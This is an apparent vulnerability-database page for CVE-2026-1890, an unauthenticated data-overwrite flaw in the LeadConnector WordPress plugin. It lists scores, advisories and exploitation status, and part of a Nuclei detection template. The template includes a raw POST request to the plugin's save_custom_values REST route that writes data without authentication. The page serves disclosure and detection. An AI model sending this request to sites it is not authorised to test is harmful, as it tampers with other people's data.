CVE-2026-1890
published 2026-03-26CVE-2026-1890: The LeadConnector WordPress plugin before 3.0.22 does not have authorization in a REST route, allowing unauthenticated users to call it and overwrite existing…
PriorityP180medium5.3CVSS 3.1
AVNACLPRNUINSUCNILAN
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
0.68%
50.2th percentile
The LeadConnector WordPress plugin before 3.0.22 does not have authorization in a REST route, allowing unauthenticated users to call it and overwrite existing data
CVSS provenance
nvdv3.15.3MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
vulncheck5.3MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-795h-9vq2-6x3x: The LeadConnector WordPress plugin before 3
ghsa_unreviewed·2026-03-26
CVE-2026-1890 [MEDIUM] GHSA-795h-9vq2-6x3x: The LeadConnector WordPress plugin before 3
The LeadConnector WordPress plugin before 3.0.22 does not have authorization in a REST route, allowing unauthenticated users to call it and overwrite existing data
VulnCheck
Vulnerability
vulncheck·2026·CVSS 5.3
CVE-2026-1890 [MEDIUM] Vulnerability
The LeadConnector WordPress plugin before 3.0.22 does not have authorization in a REST route, allowing unauthenticated users to call it and overwrite existing data
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://patchstack.com/database/wordpress/plugin/leadconnector/vulnerability/wordpress-leadconnector-plugin-3-0-22-unauthenticated-rest-call-vulnerability
No detection rules found.
Nuclei
LeadConnector < 3.0.22 - Unauthenticated Arbitrary Data Write
nuclei·CVSS 5.3
CVE-2026-1890 [MEDIUM] LeadConnector < 3.0.22 - Unauthenticated Arbitrary Data Write
LeadConnector =1.0.0", "<=3.0.21")'
condition: and
internal: true
extractors:
- type: regex
name: lsversion
internal: true
regex:
- 'Stable tag: ([\d.]+)'
group: 1
- raw:
- |
POST /wp-json/lc_internal_api/v1/save_custom_values HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"custom_values":[{"fieldKey":"{{randstr}}","id":"1"}]}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "status", "success")'
condition: and
# digest: 4a0a0047304502201d71382683c1b4aa132d3688faa7e32164ef624cf788d4326bf91e4a8f8135400221008286a2a28e712d394aba5bc045694c3459a83b1a2795070e7a9ade94b56141d9:922c64590222798bb761d5b6d8e72950
2026-03-26
Published
Exploited in the wild